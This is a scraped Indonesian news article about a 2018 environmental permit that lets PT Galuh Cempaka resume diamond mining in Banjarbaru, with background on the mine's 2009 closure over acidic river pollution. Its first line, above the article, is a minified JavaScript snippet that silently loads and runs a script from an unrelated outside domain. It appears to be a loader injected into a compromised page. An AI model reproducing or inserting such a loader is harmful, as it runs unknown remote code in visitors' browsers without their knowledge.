(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dinas Lingkungan Hidup Banjarbaru Terbitkan Izin Lingkungan PT Galuh Cempaka


BANJARBARU, Dinas Lingkungan Hidup (LH) Banjarbaru, akhirnya menerbitkan izin lingkungan untuk PT Galuh Cempaka. Penerbitan izin lingkungan dengan No 660/0696/TL-DLH/2018 diteken oleh Plh Kepala Dinas Lingkungan Hidup Banjarbaru, Zainal Arifin S.Sos, M.AP, M.Kes, pertanggal 25 Juli 2018. Izin tersebut diberikan berdasarkan keputusan Walikota Banjarbaru No 008 tahun 2018 tentang Izin Lingkungan melalui Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu.

PT Galuh Cempaka rencananya bakal kembali menggarap pertambangan intan alluvial di atas lahan konsesi 7.470 hektare di Kota Banjarbaru.

Dalam dokumen Amdal PT Galuh Cempaka, ada rencana tahap operasi penambangan intan dengan menggunakan metode Bore Hole Mining, Dredging Exavator dan Metode Kering tergantung area. Penambangan intan dilakukan dengan kedalaman 18-20 meter, dilanjutkan dengan pengambilan gravel dan separasi batuan yang menghasilkan material Intan. Material Intan yang diambil dikumpulkan secara langsung dimuat kedalam dump truck untuk diangkut menuju Pabrik pengolahan.

Rencana PT Galuh Cempaka untuk menggarap tambang intan juga diakui Kepala Dinas Lingkungan Hidup (DLH) Provinsi Kalsel Ikhlas Indar.

“Berdasar kewenangan yang dimiliki Pemprov Kalsel dalam hal ini DLHD Kalsel, pengajuan dokumen Amdal harus ke Pemerintah Kota Banjarbaru, dan berkoordinasi dengan pihak peerintah provinsi,” jelasnya.

Ia mengakui sejak 2009, aktivitas pertambangan intan PT Galuh Cempaka telah terhenti, bukan karena izinnya yang telah mati namun disebabkan masalah teknis.

Saat era Gubernur Kalsel Rudy Ariffin pada 2009, pertambangan intan yang digarap PT Galuh Cempaka di Kelurahan Palam, Kecamatan Cempaka Kota Banjarbaru telah ditutup secara resmi. Akibat dugaan dampak lingkungan berupa pencemaran air sungai yang mencapai PH 2,27, serta melanggar Peraturan Daerah (perda) serta Peraturan Gubernur Kalsel.

Dari KA-Andal PT Galuh Cempaka ternyata luas area tambangnya tak hanya di Kelurahan Palam, namun juga mencakup Kelurahan Bangkal di Kecamatan Cempaka, serta Kelurahan Guntung Manggis di Kecamatan Landasan Ulin, Kota Banjarbaru. Perusahaan tambang intan ini juga masih mengantongi Keputusan Presiden Nomor B.53/Pres/I/1998, sehingga masih membidik wilayah konsesi di Kota Banjarbaru.(des)

Reporter : Des
Editor : Chell

Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

10 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

11 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

12 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

13 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

16 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

17 jam ago

This website uses cookies.